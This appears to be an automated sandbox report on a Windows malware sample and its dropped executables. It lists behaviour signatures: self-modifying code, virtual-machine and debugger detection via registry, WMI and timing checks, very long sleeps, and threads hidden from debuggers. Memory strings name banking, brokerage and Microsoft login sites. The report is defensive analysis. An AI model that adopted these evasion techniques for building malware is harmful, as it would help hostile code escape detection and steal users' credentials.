Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Special instruction interceptor: First address: 2CEADD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Special instruction interceptor: First address: 2CE9DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Special instruction interceptor: First address: 49FA4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe Special instruction interceptor: First address: 480B8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 1EEADD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 1EE9DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 3BFA4E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Special instruction interceptor: First address: 3A0B8D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: EBDD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: EBDC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: 107354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: 1071CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: 10A0A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: 110BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 68DD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 68DC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 84354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 841CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 870A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 8DBEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Special instruction interceptor: First address: EC46AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Special instruction interceptor: First address: 6946AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 3FDD18 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 3FDC4C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 5B354E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 5B1CDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 5E0A74 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 64BEC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Special instruction interceptor: First address: 24E9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Special instruction interceptor: First address: 24C2DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe Special instruction interceptor: First address: 403535 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: A8EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: A8EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: C334DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: C4148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: A8EAF0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Special instruction interceptor: First address: CB8949 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001195001\cc1af330ba.exe Special instruction interceptor: First address: 88D94E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Special instruction interceptor: First address: 4046AE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Special instruction interceptor: First address: 64EBCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Special instruction interceptor: First address: 64EAB0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Special instruction interceptor: First address: 7F34DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Special instruction interceptor: First address: 80148B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Special instruction interceptor: First address: 64EAF0 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Memory allocated: 54F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Memory allocated: 5700000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Memory allocated: 54F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 56D0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 58F0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 5730000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Memory allocated: 4B80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Memory allocated: 4D20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Memory allocated: 6D20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 4A70000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 4C20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 6C20000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 4E80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 50A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Memory allocated: 4E80000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Memory allocated: 5010000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Memory allocated: 51B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Memory allocated: 71B0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Code function: 3_2_007ACBF5 rdtsc 3_2_007ACBF5
Contains functionality to detect virtual machines (SLDT)
Source: C:\Users\user\Desktop\file.exe Code function: 0_3_058A18E4 sldt word ptr [eax] 0_3_058A18E4
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 1402 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 7152 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1002449001\90f56e27b8.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1002450001\a55050ee6f.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[2].exe Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7524 Thread sleep time: -30015s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7600 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe TID: 8052 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6088 Thread sleep time: -58029s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6092 Thread sleep count: 58 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6092 Thread sleep time: -116058s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5140 Thread sleep count: 244 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5140 Thread sleep time: -7320000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972 Thread sleep count: 1402 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972 Thread sleep time: -2805402s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2796 Thread sleep count: 70 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2796 Thread sleep time: -140070s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972 Thread sleep count: 7152 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5972 Thread sleep time: -14311152s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2864 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2040 Thread sleep time: -38019s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1552 Thread sleep time: -36018s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4268 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1860 Thread sleep time: -44022s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1588 Thread sleep time: -40020s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 1496 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe TID: 7520 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 8080 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe TID: 3172 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132 Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132 Thread sleep time: -990000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7132 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe TID: 6072 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe TID: 3664 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001196001\69f64d774a.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData\Local
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: skotes.exe, skotes.exe, 00000006.00000003.2082832328.000000000964B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, de057a4668.exe, 0000000F.00000002.2381444317.0000000001055000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2422160968.0000000000825000.00000040.00000001.01000000.00000011.sdmp, de057a4668.exe, 00000011.00000002.2412266764.0000000001055000.00000040.00000001.01000000.00000010.sdmp, de057a4668.exe, 00000013.00000002.2499320684.0000000001055000.00000040.00000001.01000000.00000010.sdmp, axplong.exe, 00000014.00000002.2631485541.0000000000378000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: wintoolsone64.exe, 00000012.00000002.2631624901.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr@
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 8301009305.exe, 0000000C.00000003.2195936111.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696492231s
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: skotes.exe, 00000006.00000002.2631479541.000000000064A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.0000000001548000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000014.00000002.2643417791.000000000157A000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.000000000065E000.00000004.00000020.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000002.2631387587.00000000006D9000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006224000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696492231p
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696492231f
Source: skotes.exe, 00000006.00000002.2631479541.0000000000605000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0[d%SystemRoot%\system32\mswsock.dll
Source: axplong.exe, 00000014.00000002.2643417791.000000000157A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWd
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696492231j
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: skotes.exe, 00000006.00000002.2631479541.000000000063A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW[
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: M20I1ZOZUN9VGSWFO63POXM.exe, 00000004.00000002.1764656267.0000000000D29000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: wintoolsone64.exe, 00000012.00000002.2653395699.00000000020A0000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: rykCKtzLhVlhZyZkwUQRTbonZDbJSMoCiEjovhBKJNlwQRebuQaLflPQEmUkgQCRaZmbAEtCeVnEsRcHXugkKyvkcfbSpEx
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696492231o
Source: skotes.exe, 0000000B.00000003.2486073608.000000000197C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW\,
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe, 00000003.00000002.1852799976.00000000007B5000.00000040.00000001.01000000.00000006.sdmp, M20I1ZOZUN9VGSWFO63POXM.exe, 00000004.00000002.1764980520.00000000011BA000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.1799058111.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000006.00000003.2082832328.000000000964B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2642683430.00000000011BA000.00000040.00000001.01000000.0000000C.sdmp, 8301009305.exe, 0000000C.00000002.2233411085.0000000000458000.00000040.00000001.01000000.0000000E.sdmp, axplong.exe, 0000000D.00000002.2263735341.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 0000000E.00000002.2272113326.0000000000378000.00000040.00000001.01000000.0000000F.sdmp, de057a4668.exe, 0000000F.00000002.2381444317.0000000001055000.00000040.00000001.01000000.00000010.sdmp, 4264524541.exe, 00000010.00000002.2422160968.0000000000825000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: skotes.exe, 0000000B.00000003.2193304680.0000000006217000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe Thread information set: HideFromDebugger Jump to behavior
